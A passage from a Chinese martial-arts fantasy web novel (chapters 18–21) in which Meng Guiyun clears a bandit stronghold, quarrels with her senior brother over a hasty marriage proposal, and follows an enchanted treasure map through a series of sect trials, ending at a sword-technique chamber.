月光落在她脸上,像有一层毛茸茸的光覆在上面,他温声道:“在想什么呢?”
孟归芸依旧看着天上:“在想以我目前的能力,如何能扳倒胡家,若是胡家再出了一个户部尚书,又能怎么办,母亲的仇要什么时候才能报。”
江元郁安慰她,声音却带着笃定:“放心吧,胡家坐不上这位置。”
好一会儿没听见她的声音,江元郁也抬头看向了月亮。
“师兄,师父说你常年在外游历,但你不仅知道许多江湖上的事,还能对朝廷之事如数家珍,我一直都想问你,你到底是谁?”
孟归芸一直以来都没有问过他有关身份的事,他也从来没有刻意避开,可要这么直接地告诉她了,自己心里不知为何又有一丝紧张,默了半晌,才道:“我是大成国的宝亲王。”
孟归芸清亮的眼睛一眨也不眨地看着他,看得江元郁心跳乱了一拍,不知道她此刻在想什么。
江元郁耳边响起她柔柔的声音:“师兄,你娶我好不好?”
他心里蓦地一紧,脑中空白了一瞬。
他其实知道她的意思,可看着她好似全然不把此事当成大事,只当做踏脚石的样子,心底有一股气串了上来。
向来好脾气的他此刻语气却有些生硬:“师妹,纵然我娶了你,我的势力也不可能让你为所欲为,我还有自己的事要做,若任凭你使用,恐会坏了我布局多年的大计。”
孟归芸正想解释几句,可看着江元郁冷着脸走了,她便没有再叫住他,是她唐突了。
她也不知为何,方才心里突然就有一种冲动,想要问他,明明之前已经否定了这个想法。
也许还是她太着急了,她本想过向谢清莹求助,可纵使谢清莹愿意帮她,谢家却不一定愿意,谢家如今保持中立,又有众多跟随者,每一个举动都会被猜测,她有什么值得人家帮她的条件?
她不由得又想到了江元郁,若有了他,就等于有了谈判的底气,而她如今,正急需这份底气。
她并没有想用他的势力为所欲为,她知道谢家是打算将谢清莹送入皇宫的,但以谢家如今中立的身份,冒然入宫,怕是会哪边都得罪了。
江元郁是大成国的宝亲王,宝亲王是何许人也,大成国虽不止一个亲王,但封号为“宝”的,乃是当今皇上的亲弟弟。若她与江元郁有了婚约,等于有了皇家背书,再加上谢清莹的帮助,拿下谢家还是有很大概率的。
但无论如何,她开口了,如今是她的错,是她不该提的。
回到房中的江元郁不由得有些后悔,刚才说的话是不是太过了,若是自己不愿意,拒绝了便是,师妹本就烦心,自己又何必再说这么些话,师妹毕竟救过自己。
可一想到她拿自己的婚事做棋子,他就莫名的生气。
她今日可以问他,明日
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是不是可以问别人?婚姻大事怎能如此随便?
江元郁也睡不着了,躺在床上一会儿后悔,一会儿生闷气。
旁边的宏安心里叹了口气,但却装作没醒,路还得他们自己走啊。
第二日天刚亮,孟归芸他们就准备出发了,江元郁开门,见房门外的小凳子上整整齐齐的叠着昨晚的外衣,一言不发的收进包袱里,后面的宏安只当没瞧见,随后几人朝着晴隆县旁边的半阳山而去,那半阳山与赵家庄和晴隆县成个三角形,离晴隆县大概二十公里,山贼就在那里。
宋娘子一家倚在门口目送他们,见他们走远了,便回屋去收拾他们住过的屋子。
看到孟归芸住过的房间里,小桌上搁着的那个银元宝,宋娘子愣了下,随即蹲下身子,捂着脸哭了。
根据之前罗三所说,那群山贼的老大,实力为武道暗劲初期,孟归芸如今也已开窍,算下来,两人应是实力相当,但山贼人数据说有三四十个,还是比较多的。
孟归芸他们本是打算回到晴隆县再置办一个马车,伪装成过路人,等他们下来将他们收拾了,山上的人必定还要一部分人留守,如此便可分为两波解决。
江元郁如今心里正不得劲儿,便不想同孟归芸一道去剿山贼,便说道:“这山贼老大实力与师妹相差无几,正适合练手,这次我正好有点事要做,就不去了,在附近的农庄等你们汇合。”
孟归芸回道:“也好,以往总有师兄相伴,我也不知自己独自一人能有几分实力,也不该事事指望着师兄的,倒给师兄添了不少麻烦。”
莲夏看出来了,两人似闹了矛盾,可她怎么也没想通,睡觉前还好好的,怎么睡一觉起来两人就不好了。
但只让小姐一个人去,她肯定放心不下,她如今也算有些拳脚了,应该不会拖后腿的:“小姐,我想跟您一起去,我也多练练。”
孟归芸笑笑:“好。”也算多个帮手。
原本她答应了,自己也该松口气,可江元郁这心里像堵了一口气,上不去下不来的,闷闷地“嗯”了一声。
宏安并未反对,这种时候他冒然插手,只会让两人的矛盾更深,只心里想着,还是得暗地里跟着,以免情报有误。
一行人便去半阳山前面的农庄先找了个地方歇下,江元郁确实也有事要处理,刚歇着不久就与他们打了招呼出去了。
孟归芸与莲夏商量着,这次只有她们两个人,决定夜里再去,那时候山贼至少有一部分人休息了,她虽与山贼头子武功差不多,但若是被人发现了,被围攻的话,她们定是讨不了好,莲夏也打不了几个,因此还是逐个击破的好。
到了夜里,孟归芸和莲夏换了身易隐藏的衣服,两人便往山上摸去了。
许是最近银勾赌坊的事儿引起了山贼的注意,近来他们不仅没有下山打劫,这巡逻放哨的人也多了不少。
孟归芸接连放倒了两个放哨的人,又与莲夏将外围巡逻的人解决了,两人摸着去了寨子里。
18. 杀山贼
这边暗一正与江元郁汇报最近传来的消息:“之前在东安府遇见的梁国四皇子的人,接到一个消息后,便已返回梁国。暗四从梁国传来消息,梁国近期正在整肃军队,打算出兵梁国北边的衡国。”
“衡国?”江元郁道:“衡国不过一个小国,这么些年来一直依附着梁国,倒也本分,这宁琮看来位置坐得不太稳啊,刚上位就急不可耐的要吞并了衡国,应是想震慑那些反对他的人。”
江元郁接着道:“暗八暗九那边查梁国、蛮族、首辅之间的联系,查得怎么样了?”
“暂时还没有消息传来。”
“嗯。”江元郁觉得应是搭上了的,如今一月有余还没有消息传来,看来藏得挺深。
江元郁又吩咐道:“你安排人去查一下开宁府知府吕松的对头是谁,将晴隆县的案子捅到他那里去。另外,保一下王玉明。”
暗一离开后,江元郁左思右想,在原地转了十几圈,转身又朝着半阳山上去了。
一路看见倒下的山贼,江元郁心里还是表扬了她一番:“还是这么干净利落,不愧是我师妹。”
但看这人数,巡逻放哨的就有十几个人了,那罗三定是虚报了人数,江元郁有些担心,不知道里面情况怎么样了。
山寨里一片安静,只一个方向的房间里传来打斗的声音,江元郁寻着声音找了过去,见只有孟归芸一人在与那山贼头子缠斗。
山贼头子身高约莫六尺,十分高大,肌肉鼓起,孟归芸看着有些吃力,头发不知道怎么散了,正被逼得退出房间以求退路。
那山贼头子没有放过孟归芸的打算,双手各持一把大刀向着孟归芸砍去,孟归芸并不敢接,只能闪身躲过。
却见那山贼头子十分灵活,大刀紧随着孟归芸而去,孟归芸躲避不及,只能生生用剑抵挡,但山贼头子的力道比她大上许多。
眼见着那刀要逼到孟归身前,后方一支箭朝着山贼头子飞来,山贼头子只得分出一只手朝后阻挡,是莲夏用的袖箭,这才给了孟归芸逃脱的机会。
但莲夏却被山贼头子迅速击倒,山贼头子不禁大笑:“又来一个小娘子,看来是上天要送老子两个压寨夫人啊,哈哈哈哈哈。”随即神色一收,“待老子将你也拿下,今晚就入洞房!”
江元郁看出来了,这人实力不止暗劲初期,恐怕已到了暗劲后期或者大圆满,但他忍不住纠结,要是被师妹看见了,岂不是显得他在骗她,或者她以为自己被她拿捏了?
师父也真是的,师妹年幼,经验也不足,这山寨上几十个人,怎么放心师妹一个人出来的。
此时的宏安在不远处忍住了想打喷嚏的冲动,心里暗道:“你小子,还是来了吧,我倒要看看你能忍到什么时候。”
孟归芸才缓了两口气,眼见着山贼头子又朝她而来,身形一转,绕到他身后,朝他刺去,山贼头子回身将剑挡开,另一手的刀直朝着孟归芸劈来。
孟归芸心知自己躲不过这一刀,只能尽量避开要害,但那山贼头子却只将她击晕,正待一把将她抱起来,手将要碰到孟归芸身上,立马察觉有暗器袭来,起身避过。
山贼头子见一男子从暗处走来,不禁骂到:“哪里来的小白脸,敢坏老子好事!”
江元郁沉着脸,周身气起,剑身直指山贼头子而去,山贼头子并未躲开,挥舞双刀朝着剑砍去。
江元郁手腕转动,挽剑缷力,却并未收势,抖剑缠着他刺去。
还未见几招,山贼头子就挨了一剑,心里一惊,这人武功怕是在他之上,当即便想离去。
江元郁哪会轻易放过他,身形一跃,山贼头子只见眼前银光一闪,他的右手拿着他的大刀从眼前飞过,这才察觉到手臂处剧痛传来:“啊!!!”
山贼头子暴怒,正想回头砍死那小白脸,却被一剑穿喉,嘴里噗着血倒下了。
宏安看着这场面,嘴里低声啧啧道:“年轻人就是血气方刚啊。”看看,手还没碰到就被砍了。
江元郁将自己外衣脱下,裹在孟归芸身上,才弯腰将她抱起,走到山贼头子的房间里将她轻轻放在床上。
他没将孟归芸唤醒,只静静地看着她。
她黑漆般的长发此刻散乱着,眉头微蹙,朱唇轻抿,似有些难受,又看着有些倔强。
“她也是鼓了很大的勇气才说出口的吧。”江元郁心里想着,但现下也不知该如何面对她,将药送到她鼻下,便隐匿到远处了。
孟归芸慢慢有了意识,她只觉得脖子好疼,眼皮睁了又睁,才想起来自己在哪,立马起身防备,但房间无人,周围寂静。
身上裹着的衣服滑落,孟归芸转眼看去,是师兄白天穿着的那件,他来了?
孟归芸往房间外跑去,但外面并没有他的影子,只有山贼头子的尸体和躺在一边的莲夏。
她连忙过去检查莲夏有没有受伤,还好除了与她一样只是被打晕了,其他地方无碍。
莲夏醒来,看见孟归芸,忙就要起来看她怎么样,发现孟归芸没事,才松了一口气,突然一拍脑袋:“小姐,您让我去将其他房间的人迷晕,我发现其中一间房里关了女人和小孩,不过她们也被我迷晕了,现在应该还在睡着。”
莲夏将孟归芸带了过去,房间门上斜斜挂着一把已被打开的锁,门口晕着两个山贼,孟归芸将门推开,里面没有一盏灯,只能借着外面的灯光和月光隐约看见些人,扑来的味道有些难闻。
莲夏将门外的灯笼拿了过来,灯笼的光将房间照亮了些,里面约有十来个人,能看见女人和小孩的身上都脏兮兮的,想来最近风声紧,没机会将她们倒手,在这儿已经关了好些天了。
孟归芸也不敢擅自处理她们,还是等官府的人来吧。
莲夏一脸神秘地说:“我这一路上都没看见他们哪个房间放了有财物,不知道他们放哪里的?”
孟归芸倒是被提醒了,自己对山寨的构造都还不是很了解,去探一探也好。
于是两人将这些房间都挨个搜了一遍,最后
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又回了山贼头子的屋里,其他房间都没有,那就这里嫌疑最大。
孟归芸在房间里看了一圈,没找到自己掉落在地上的发带,开始在摆设中和墙上找机关,莲夏在房间里一通踩,还真被莲夏踩到了:“小姐!快来!这个地方踩着不一样!”
孟归芸试着摸了几块地板,终于把地板提了起来,只有一个能容一人进出的小梯子。
拿着桌面的油灯,两人挨个下去了,里面空间很小,差不多就能容十五个人站立,放的东西也不多。
地上有几个小箱子,孟归芸将锁砍开,一个装了些大小不一的银子、少许的金子、几张面额不大的银票,一个装了些首饰,一个较大的箱子里装的是布匹,粮食应该是单独放在别处的。
这些加起来能值个三百两的样子,对于这个地方的山贼来说,除了分给别人的,留下这么多也算不错了,能支撑他们一段时间。
孟归芸想了想,拿了其中部分银子,将它们放在了被关的那些人身上,希望这些钱能帮她们度过难关。
她没将地板合上,就这么开着,方便官府的人搜查。
突然想起来江元郁的衣服还在房间里,又回来把衣服拿走了,这衣服与山贼穿的不一样,还是带走为好。
拿衣服的时候才发现,发带已经被捡起来,就在衣服旁边,呆愣了一下,便将头发束好。
她应着莲夏道叫喊,正待离去,余光瞥见床里侧似有什么东西,她拿起来一看,竟是一张藏宝图,想来她进来之前,山贼头子正拿在床上看,不知是真是假,带回去给师父师兄看看吧。
还好这山寨里不缺绳子,孟归芸和莲夏费了好一阵功夫,才将山寨里的这些山贼都绑起来了,路上打晕的那些山贼,就只能下山的时候用他们自己的腰带绑起来了。
两人到山脚的时候,天已经有些亮了,又往前走了半里路,才骑上栓着的马,往晴隆县的方向去了。
到了县城附近,路上已经有不少人在往城里走,孟归芸看见个落单的小乞丐,悄悄将他叫了过来,给了他一粒碎银子,让他去县衙里找王总捕头报信。
农庄里,江元郁回来看着坐在房间里的宏安,一副欲言又止的模样,最终没忍住:“师父,你没跟着师妹去啊?”
宏安撇他一眼:“你不是说让你师妹自己去锻炼锻炼吗?我能拂了你这个大师兄的面子吗?”
“那我也没说不让你去啊。”
“担心你师妹啊?你怎么不自己去?”
“我这不是有事吗?”
宏安看了一眼他的衣服,外衣都没了,便没理他,心道:“我都懒得拆穿你。”
一个时辰后,门外响起马蹄的声音,孟归芸进来就将昨晚的情形说了一通,中途看了一眼江元郁,隐去了打斗的部分,只说那山贼头子已死,剩下的人被她们绑起来,已让人去县衙里通知了王总捕头,希望能让他减少一点因为大牢的事受到的惩罚。
又将藏宝图拿出来,让他们看看是不是真的。
19. 寻宝(一)
江元郁接过藏宝图,此图看这是宣纸的材质,谁知触感竟比宣纸更加细腻,更是有异于他之前见过的所有纸张,一时竟也不知到底是何材质。江元郁拇指食指逐渐加大力度,这藏宝图竟然还没有被搓坏,于是开口问道:“师妹,我可否用火一试?”
见孟归芸点头应允后,便将藏宝图的一角置于焰心处,半晌都未燃起。于是又让莲夏端来一盆水来,谁知此物竟然浮于水上,也没有被浸/湿的迹象。
江元郁确认此物应该是另有玄机,于是说道:“此图看似乃宣纸制成,但绝非宣纸能比,凡俗之中根本没有制出此纸的能力。师父您看看?”
宏安一手捏须,微笑着道:“这般有趣,老道倒是来了兴趣。”说完手一挥,江元郁手中的藏宝图便到了宏安手中。
宏安下意识的放出灵识,似感到了什么一般,双手摊开藏宝图,向其中注入了法力。有了法力的灌入,藏宝图竟泛出蒙蒙毫光,图上原有的地理图像缓缓散去,一副新的地图开始展现出来,且与原来的地图迥异。
“哈哈哈哈,果然是此物。此物名为‘历练图’,以前修道盛行之时,大宗门给门下弟子做磨练所用。按照图上指引,破解重重考验,就可以得到宗门留下的宝物,功法、法宝、丹药,皆有可能。”宏安停止注入法力,藏宝图也慢慢恢复成原来的样子,将藏宝图递还给孟归芸后道,“此图之中蕴含一份机缘,你这丫头倒是好运道。”
“可方才这图上并未显示关卡和宝物在何处?”
“既为历练,当然是要你自己去探寻了。”
宏安又道:“既然咱们此行没什么目的,不如就顺着这藏宝图的路线走吧。”
孟归芸自是没什么意见。
江元郁想了想,现下他能做安排基本都已到位,只等各方信息汇来,再做打算,这路线向南,与原来走的路线也差不多,到时候他再去一趟南境边界,就应了。
想到孟归芸和莲夏从昨晚到现在一直没休息,几人决定明天再出发,江元郁打算出去给马儿喂点草料,感觉到孟归芸跟了出来,江元郁跟逃一样加快了脚步。
孟归芸跟着他到了栓马的地方:“师兄。”
江元郁只顾着喂马,并未回头。
眼前出现了一件外衣,但并不是他原来那件,身旁响起孟归芸的声音:“谢谢你来帮我。”
江元郁不知道说什么,思绪还没理清,他现下心里也乱得很,接过衣服,只回了一句:“师妹客气了。”又匆匆走了。
孟归芸望着江元郁离去的背影,有些苦恼不知道怎么让他消气,半阳山上带下来的那件衣服弄脏了,她已经扔了,去晴隆县里按着他平时穿的衣服样子,又买了一件,也不知道合不合他心意。
“啊!!!”
山谷里回荡着江元郁悠长的喊声,现在虽是大暑时节,可这水潭中的水却寒意刺骨,江元郁一时不慎,护身的元气不足,被这寒意刺的大叫。
孟归芸自从认识这位师兄后,还真是少见江元郁如此失态的样子,不禁笑出了声。同时,那边的江元郁也快速的从寒潭中心游至岸边。
自从决定要来找这宝藏,孟归芸一行人路上就未有耽搁,循着藏宝图的指引找到了这个寒潭。寒潭离地约有二十丈,商量一番后,由江元郁先行下潭探查,因此有了这一幕。
“师妹不要直接跳下来,这水潭看着不深,但是潭水却犹如万载玄冰一般,你修为尚浅,护身元气不足,定然难以承受这寒气。”甫一上岸,江元郁便抬头朝着上方喊道。
“好!师兄你快运气蒸干衣物,免得受凉了。”孟归芸没想到江元郁竟会第一时间提醒自己,嘴角不由得微翘。
孟归芸等人没等太久,江元郁那边已经蒸干衣物,开始打量寒潭四周。
“此潭上方十二丈处,有一块怪石凸/起,应该可以借力。再往下八丈的地方,有一根老藤,也可借力。”扫视四周上下后,江元郁再度朝着上方孟归芸等人喊道。
话音刚落,就见孟归芸已经施展轻功身法跳了下来。
“左方两步!”吓得江元郁急忙出声指点方位。
孟归芸依言挪动身形,稳稳的踩在了怪石上,停留了两三息,元气流转再度跳下。
“斜右三步,伸手抓!”江元郁的声音急促的响起。
孟归芸也依照提示成功抓住了那根老藤,脚尖轻点崖壁,飘飘然就荡了下来。
寒潭升起的朦胧水汽,在正午时光烈阳的照耀下,形成一道七色的拱桥,那黑发绿衣的身影似冯虚御风般,在阳光下反而显得更加清晰,一时间江元郁都有些痴了。
“谢谢师兄。”
“谢我什么?”江元郁一愣。
“自然是谢师兄及时指点我借力踩点。”孟归芸回道。
“可是,可是你就不怕我来不及或者说错了么?”江元郁二次发问。
“我自然是相信师兄的。”孟归芸直视江元郁,江元郁看着近在咫尺的清澈双眸,不知道又该如何接话。
“好了,既然都下来了,咱们就继续往前走吧,看看这藏宝图上到底有什么宝贝。”两人几句话的功夫,宏安已经带着莲夏下到了潭边。要不是想历练孟归芸和江元郁,宏安挥手间就能抵达潭边,二十丈罢了,哪里难得到返虚境界的大高手呢。
孟归芸打量四周,这寒潭看起来不浅,而且站在潭边都能感受到那凛冽的寒意刺骨而来,潭边除了半人高的灌木,再也没有其他植物生长,更别说动物了。
那灌木通体呈玄色,枝干短粗,木叶也极为稀少,犹如银针一般,根根分明。凭着孟归芸的天赋一时间竟然也认不出来到底是何品种,隐约间只能感受到此木异常的坚硬,不亚于玄铁之物,倒是制作兵刃的好材料。
“此木应是因为这寒潭变
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异了,但制成法器的话倒是合适一些养神境以下的修士使用,可以促进修炼,对于蕴魂养灵、明心静气也有一定功效。”好在一旁还有个见多识广的宏安,灵识一扫之后,便有所判断。
听闻此言,孟归芸抽出佩剑,运劲于剑,朝着灌木砍去。几息之后砍下三根,剔除了枝桠木叶后,递给宏安。
“徒儿想劳烦师父出手,帮忙将此物炼制成两个可以明心静气的法器,一枚给莲夏使用,一枚给师兄使用,剩下的师父自行处置就好。”孟归芸恭敬地向宏安说道。
按师父之前的说法,她的修炼速度已十分了得,还是优先给莲夏和师兄用吧。
宏安自无不允。
这寒潭四周本来就无道路,因此收好变异灌木后的孟归芸几人随意选了个方向前行,那藏宝图在到了此处后,任凭如何灌入法力也没有动静,想来是受了什么限制。
几人走了快半个时辰,终于来到一处山崖前,崖边一块怪石上刻着三个大字—有宝崖。有和崖两个字刻得极大,宝字极小而且痕迹极浅,给人一种“此地无银三百两”之感,好似刻下这字的人,既想把这里所藏的宝物送出去又不想送出去。
“师兄,我们再探查一下四周吧,附近应该还会有些线索。”孟归芸提议道。
“好,就依师妹所言。”江元郁点头道。
至于宏安,这种时候一般都是不会发言,任由两个徒弟发挥的。莲夏么,凡是自家小姐的要求,她都同意,就更不会提出不同意见了。
“小姐小姐,快来看啊,我发现了钥匙。”不到半柱香的时间,莲夏便找到了一个水塘。
塘中盛开着一朵类似于莲花之物,几片荷叶摊在水面,花心中由几颗花蕊呈拱状,撑着一把钥匙状的东西。至于为何莲夏为何会认定这东西就是钥匙,则是因为塘前的地面被人专门平整过,上面没有一丝杂物,仅写着“钥匙就在花上”几个大字。
看字迹,分明和写“有宝崖”三字的是同一人。
“我游过去把钥匙给小姐你取来。”待几人都来到池塘边后,莲夏仍然激动不已,嚷着要去帮孟归芸取钥匙。出来这么久,自己一直没有给小姐帮上什么忙,莲夏心里也有点着急,虽然知道小姐不会嫌弃自己,但自己却总想能够帮到小姐一些,哪怕只是些小事。
“不,还是我自己去吧,这池塘说不定有什么危险。”孟归芸沉思了片刻后,还是阻止了莲夏,“万一莲夏你出点什么事,我怎么办。所以还是我去取。”
江元郁本想说自己去取的,但想了想之后,说出的话变成了:“那就师妹你去取,我在旁边给你掠阵。”
孟归芸调息片刻后,施展轻功,足尖轻点水面,朝着池塘中莲花处快速掠去,也顺利的把钥匙拿到了手里,刚要踩着莲花借力的时候,变故突生。
池边的江元郁也施展身法,朝着孟归芸所在的地方奔去。
20. 寻宝(二)
原本平静的水面突然开始掀起波浪,整个池塘竟然在往下陷,两边堆砌池沿的条石也在往下掉,孟归芸没了借力点,一脚踩空,整个人跟着池塘一起坠下。
眼看孟归芸就要被水淹没,紧随其后的江元郁终于赶到,一把将她拉起揽入怀里。
此时的池塘也停止了下陷,二人没有支撑点,又双双落了水。江元郁一手揽着孟归芸的腰,另一只手划开水面,朝着岸上游去。
上岸后江元郁赶紧放开孟归芸,将眼神撇开:“失礼了,师妹。”
孟归芸摇摇头:“这本是师兄为了救我,该我谢谢师兄。”
江元郁心跳得有些厉害,他也不知是因为这突然的事故,还是两人间的接触,悄悄看了一眼孟归芸,她神色如常,已开始运气调息。
心底的那股子气似乎又有些起来,连忙打坐,心跳才慢慢恢复平常。
两人运气将衣服蒸干后,这才有空打量起周围的环境。
此处大约是地下十五丈的样子,只有原来池塘下陷后留下的口子,能透进光来,但可见度着实很低。
这下方的面积倒是大了许多,陷下来的池塘不偏不倚的对着上方口子的位置。
池塘周围的地面倒是平坦,环顾四周,皆是无比光滑的崖壁,好似人工雕刻的一般,明显无法借力,也无藤蔓一类的植物,只得另寻出去的办法了。
正南处的崖壁上还写着三行大字。
“掉下来了吧”
“上不去了吧”
“哈哈哈哈”
“这位前辈倒是有趣。”孟归芸轻笑一声,居然显得有些开心。
“小姐,你们怎么样了?你不要紧吧,你等着,我这就去找绳子救你们上来。”上方传来莲夏呼唤她的声音。
“傻丫头,这里哪来的绳子,我们没事的。”孟归芸聚气成声,将声音传了上去,“只是这崖壁光滑无比,没有可以借力施展轻功的地方,想来是要另寻出口了。”
莲夏刚才看孟归芸掉下去的时候就也想跟着跳下去,结果被宏安抓了回来:“你要是下去了,可就难回来了。”
宏安看她着急得恨不得又想跳下去,出言安抚她:“放心吧,我一共就这么两个徒弟,还能让他们都折了?”
莲夏心里都知道,这一路上除非涉及到生命或根本的危险,宏安是一概不动的,但是他们还没这么分开过,她控制不住自己的担心,看宏安没有挪地方的打算,只能原地打坐,努力练功。
孟归芸安抚莲夏的时候,江元郁已经将下面这块地方走了一圈了,此时他正拿出火折子,在附近几个洞口都试了试,居然都有风。他猜测要么是几个洞口都能出去,要么就是互相连接。
他正想与孟归芸商量一下先往哪个洞口,就见孟归芸望着手在看,以为她受伤了,快步走过去一瞧,原是在看被她拿到的那把钥匙。
这钥匙看样子是铜制的,被比蚕丝还细还透的丝线绑住,之前没有防备,加之光线的问题,几人居然没有发现这丝线。
“不论这次寻宝能找到什么,我都觉得已经大有收获了。”孟归芸出声道。
“师妹何意?”江元郁不解。
“本来师父带我出来,就是为了让我历练。想来这历练,一是增加对敌的武道经验,二是见识这人间诸事,三嘛则是这些奇门巧技了吧。”
“我们自寻到那寒潭时起,心里本是有所警惕的,下来之后先是得到了那变异灌木,再一路到了那有宝崖,都没有什么异常,心里就有些微的放松。”
“我们又很轻易的找到了池塘,而且这池塘周边也并无机关,警惕心再度降低,直到我安全的抵达莲花处,都未有任何的危险,因此就更是松懈。”孟归芸闭目做思索状,似在回忆这一段时间自己的疏漏。
“拿到钥匙的那一刻本该有所察觉,可是这丝线太过纤细透明,于是就更难察觉到机关了。”江元郁也微微颌首,补充道。
“师兄说的不错,还有一点就是设置这机关的人,应本就只是想让我们或者找到藏宝图的弟子能够有所历练,没有伤害我等的心思,因此也不能引发武者的灵觉感知。”
师父说的果然不错,小师妹属实是冰雪聪明,没想到这么一件小事她都能复盘出如此之多。怕是再历练一段时间,小师妹将会拥有更多的经验和领悟。
江元郁如是想着。
“当然,现在我们要紧的是,赶快找到出去的路,而且我怀疑,这出去的路不再会像之前那般有所保留,应该会存在着一点危险。”孟归芸睁开双眸,盯着崖壁上的字说道。
“我也是如此想的,不然这藏宝图就起不到什么历练作用了。”江元郁很是赞同,“这四周我刚才已经查看过了,一共有三个洞口,洞口分别刻了些字,依你看,我们先走哪个?”
孟归芸接过江元郁递来的火折子,去挨个看了一遍,从他们面前左起数,洞口边依次刻着“此洞有宝”、“此洞也有宝”、“此洞亦有宝”。
最终停在了第一个洞口,回头冲江元郁说道:“就这个吧。”
江元郁颇有些好奇:“师妹为何选这个?”
孟归芸对这位前辈印象很好,莞尔一笑道:“这位前辈是个有趣之人,我观他之前所留下的字句,皆是属实,这三个洞口皆说‘有宝’,我相信他。”
“但他所说之话又总有未尽之意,我想,这三个洞应是相通的,所以三个洞都可说‘有宝’,且无论我们选择哪一个洞口,恐怕最终都需走完所有的路线,才能出去。”
江元郁语气带了些轻快之意:“师妹同我想的差不离,那我们就从这第一个开始吧。”
两人商议好之后,江元郁将剑从腰间解下,拿在了左手中,孟归芸见状则把剑出了鞘,横过剑身右手倒持。
“师兄,我走前面,后面就烦劳你照应了。”孟归芸快走了两步在前,没有回头低声说道。
“放心。”
孟归芸闻
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言嘴角勾起一个轻微的弧度,随即又抿嘴,双眼正视前方,步伐以比平时略小一些的样子向前行着。
这第一个山洞初看觉得不高,也不是很宽敞,但两人走着走着竟发现前方越来越大,也不再像崖壁所在那一处那么暗淡,反而光线也逐渐亮了起来,时不时还能听到呜呜的风声。
孟归芸估摸着已经走了一里的距离,竟看到地面插着上百把剑,走近了一看,各种样式的剑都有。女子手臂长短的精巧短剑,三尺左右的长剑,剑身为开刃的无锋剑,剑身宽约一掌的重剑,甚至还有近一丈长的巨剑……
九把剑旁边一米的地方,有齐腿高的一块小碑,上面写着字:“此处之剑,凡铁打造,一人一柄,可以带走。”
“师兄怎么看?”孟归芸低声问道。
“按照师父所说,那藏宝图是以前的修道大宗门给门下弟子历练所制。那山壁处又写着有宝,但这些凡铁所造的剑,再怎么也称不上是宝吧?想来后面还会有其他的东西,我们暂时就不取了吧。”江元郁没有思索太久,直接回道。
“好,听师兄的。”孟归芸应声说道,随即继续向前方走去。
又走了大概两里左右的距离,空地上竟然又出现了插着的宝剑,数量与之前差不多,样式更加繁复。就说短剑都有七八柄不同的,剑身皆都是光洁如镜,可清晰映出人的影子,一看就知是神兵利器。
齐腿高的小碑上依然写着字:“此处之剑,可称法器,削铁如泥,另有神异,一人一柄,可以带走。”
孟归芸没有出声,直接将目光望向了江元郁。见江元郁摇头,便径直向着前方走去。
这次大概走了近十里,空地上才出现了插着的宝剑,猛地一看怕是上百柄,但和之前不同的是,大部分的剑都是残破的,少数没有残破的剑也都是锈迹斑斑,有些甚至都长出了绿色的铁斑。
旁边的小碑上的字则是:“神兵有灵,择主则鸣。百里挑一,随缘而行。”
“我打算在这里选一把,师兄你呢?”孟归芸看了看那一片剑林,又看了看小碑后说道。
“好,那我也在这儿选一把。”江元郁道。
听到江元郁如此说,孟归芸先是把自己手中的剑还入鞘内,将别在身后,缓缓的闭上了眼睛。运转宏安传授的明心诀,待自己心神完全宁静后,随意的走向剑林,兴之所至,随走随停,反复三五次后,孟归芸从地上抽出了一把宝剑。并未细看,便返回了江元郁身边。
“师妹不看下自己选的剑么?”江元郁见状问道。
“不用了,我们本来就是意外得来的藏宝图,得到了宝藏最好,得不到也没关系。更何况就像碑上写的那样,神兵有灵,择主则鸣。”孟归芸淡然说道。
话音刚落,手上的宝剑便发出了似凤鸣般的剑啸,声声剑啸之中,剑身上的锈迹逐渐褪/去,重新变得光泽明亮,一抹剑光从剑身直至剑尖。
“而且师父说过,我的运道一向不差。”
21. 寻宝(三)
孟归芸这才仔细看起这把剑,剑身修长秀丽,纯粹光洁,没有任何雕刻,只剑柄上缠绕着一只凤凰,头朝剑尖,凤尾朝着剑柄末端,仿佛正要随剑冲锋一般。
孟归芸握着剑柄,运劲于剑,剑啸变得更加清冽,让人听了不由得神清气爽。
江元郁不禁有了点期待,但他也清楚,此事不可强求,稳了稳心神,朝着剑林走去。
寻着间隙走了一圈,他闭上眼睛仔细感受着,似听见有微弱的金属之音,慢慢朝着声音的源头走去。
江元郁拔起这把剑的瞬间,便能感觉到剑的微微颤动,他将自身元气传于剑身,便见这剑上的锈迹也逐渐脱落,展现出它原本的样貌,随后此剑慢慢安静下来。
江元郁眼睛亮亮的,将剑带到孟归芸面前:“师妹,你看。”
孟归芸只见这把剑比她的略宽一些,整体泛着青光,多了一些肃杀之气,剑脊两侧雕刻着藤蔓,剑柄则十分简单,刻着菱形纹。
孟归芸眉眼一弯,冲江元郁道:“恭喜师兄得了一把宝剑,这把剑剑势凌厉,剑声铿锵,与师兄十分般配。”
江元郁眼里闪过一丝喜意,正待再与孟归芸说上一句,周身却开始升起烟雾,他想抓住孟归芸,以免两人失散,朝着孟归芸所在的位置伸手,却什么也没有碰到。
他不由有些着急:“师妹!”
没有人回应他。
他只能朝着孟归芸刚才的位置摸索着走去,雾却渐渐散了,他看见自己正处于一个四四方方的房间里,长宽皆约两丈,角落有一石桌一石凳,上面还摆放着一个水壶并一个杯子。
孟归芸此刻也在这样一个房间里,她坐在石凳上,正好奇地盯着这个水壶,这水壶白瓷质地,上面画了一株简单的兰草,按理说这地方应是许久没人来过了,可这瓷壶上竟无半点灰尘。
她伸手拿起瓷壶,能感觉到元气波动,里面竟还有水,倒在杯中一看,这水也十分干净,闻着也没有异味,一仰头便喝了下去,等了半天也不见有什么异常,反而感觉疲乏减了不少。
孟归芸笑笑:“看来是那位前辈准备的,想是要在这房间待上好一阵儿了。”
她起身顺着墙边走去,墙上刻着“流云剑法”,字旁依次画了剑法,一个小人持剑做着不同的招式,孟归芸边看就边试着练了起来。
孟归芸累了便打坐休息,饿了渴了便喝一杯瓷壶倒出的水,不知过了多久,只知道自己已喝了三十几杯水,这瓷壶像是一汪泉眼,总是源源不断的供出清水。
直到她渐渐将各个招式都学会了,又融汇起来使出了完整的招式,原本平整的墙面竟然突然开启了一道门,那门内黑乎乎的,什么也看不见。
孟归芸朝着那道门走去,这时,里面却走出一名年轻男子。
男子身材修长,着白底蓝纹衣袍,面容温和,右手持剑,冲她行了一礼。
孟归芸也回了一礼,起身想问他是否知道出去的方法,哪知抬头便看见那男子抬剑向她刺来,立马向后撤去。
孟归芸心里有些莫名,这人是困在这其中许久了,还是与她一般刚进入不久?为何一言不发就朝她袭来?
刚过了一招,孟归芸便察觉到这人使的竟然是墙上的流云剑法,心下了然,看来她必得用流云剑法赢了这人才能出去。
